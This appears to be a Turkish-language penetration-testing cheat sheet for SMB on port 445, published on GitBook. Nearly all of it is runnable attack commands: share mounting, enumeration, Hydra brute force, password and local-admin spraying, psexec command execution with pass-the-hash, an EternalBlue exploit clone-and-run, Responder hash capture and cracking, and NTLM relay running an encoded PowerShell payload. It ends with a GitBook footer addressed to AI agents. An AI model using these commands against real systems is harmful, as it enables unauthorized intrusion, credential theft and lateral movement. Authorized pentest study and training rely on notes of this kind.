> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/active-directory-services/smb-135-445.md).

# SMB (445)

### SMB Nedir?

SMB (Server Message Block) protokolü, ağ üzerindeki bilgisayarlar arasında dosya, yazıcı ve seri port paylaşımını sağlayan bir ağ protokolüdür. Microsoft tarafından geliştirilmiş olup, dosya ve yazıcı paylaşımı için yaygın olarak kullanılan bir protokoldür. SMB, ağ üzerindeki cihazların birbirleriyle iletişim kurmasına ve kaynakları paylaşmasına olanak tanır. Özellikle Windows işletim sistemlerinde yaygın olarak kullanılan SMB, çeşitli sürümleri ile zaman içinde geliştirilmiş ve güvenlik, performans ve uyumluluk konularında iyileştirmeler yapılmıştır. SMB protokolü, IT sektöründe ağ kaynaklarının yönetimi ve paylaşımı için kritik bir rol oynamaktadır.

### Bağlanma

```bash
smbclient -L 192.186.1.3 -N
smbclient -L 192.168.1.3 -U admin

smbclient //192.168.1.3/C$ -U administrator

mkdir /tmp/mount
mount -t cifs //192.168.240.248/transfer /tmp/mount -o username="anonymous",password="anonymous"
mount -t cifs -o username=administrator,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance

timeout 1000
recurse ON
prompt OFF
mget *
```

### Enumeration

Sunucu bilgilerini listeler.

```python
enum4linux-ng.py -A -C 192.168.1.3 
```

### Brute Force

Hydra ile brute-force saldırısı yapma.

```python
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.3 smb
```

### Anonymous SMB

```python
smbmap -H 192.168.1.0/24 -u ''
nxc smb 192.168.1.0/24 -u '' -p ''

smbmap -H 192.168.1.0/24 -u 'guest' -p ''
nxc smb 192.168.1.0/24 -u 'guest' -p ''
```

### Password Spraying

Güçsüz bir parolayı bütün kullanıcılar için deneyebiliriz.

```bash
nxc smb 192.168.1.3 -u users.txt -p 'Password123' -d example.local
nxc smb 192.168.1.3 -u users.txt -H ':xxxxxxxxxxxxxxxxxx' -d example.local
```

### Local Admin Spraying

Kendi local admin parolamızı bütün domainde deneyebiliriz.

```bash
nxc smb --local-auth 192.168.1.1/24 -u administrator -p 'Password123'
nxc smb --local-auth 192.168.1.1/24 -u administrator -H ':xxxxxxxxxxxxxxxxxxxx'
```

### Kullanıcı Listeleme

Smb sunucusundaki kullanıcıları listeler.

```python
# Kullanıcı yok ise
enum4linux-ng -U 192.168.1.3

# Kullanıcı var ise
nxc smb 192.168.1.3 -u administrator -p password123 --users

# RID ile listeleme
nxc smb 192.168.1.1 -u administrator -p password123 --rid-brute

# Grupları listeleme
enum4linux-ng -G 192.168.1.3

# Grupları listeleme
nxc smb 192.168.1.1 -u administrator -p password123 --groups
# Giriş yapan kullanıcılar
nxc smb 192.168.1.1 -u administrator -p password123 --loggedon-users
# Paylaşımlar
nxc smb 192.168.1.1 -u administrator -p password123 --shares
# Parola politikası
nxc smb 192.168.1.1 -u administrator -p password123 --pass-pol
```

### Komut Çalıştırma

Bunu yapmak için ADMIN$ share'ı yazılabilir olmalı.

```python
# SMB Auth
impacket-psexec example.local/administrator:'Password123'@192.168.1.3 cmd.exe
# Pass-the-hash
impacket-psexec example.local/administrator@192.168.1.3 cmd.exe -hashes :7a38310ea6f0027ee955abed1762964b

# Windows
./PsExec64.exe -i \\192.168.1.3 -u corp.local\john -p 'password123' cmd
```

### EternalBlue MS17-010 (CVE-2017-0144)

```bash
git clone https://github.com/d4t4s3c/Win7Blue.git;cd Win7Blue;chmod +x Win7Blue
./Win7Blue
```

### Responder

Responder kendimize yapılan isteklerdeki ntlm hashlerini ele geçiren bir programdır.

```bash
responder -I tun0
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force
```

### NTLM Relay

```bash
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc <BASE64>"
```

### Logged Users&#x20;

```bash
# Remote Registry Açık Olmalı (Default Açık Değil)
.\PsLoggedon.exe \\files04
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/active-directory-services/smb-135-445.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
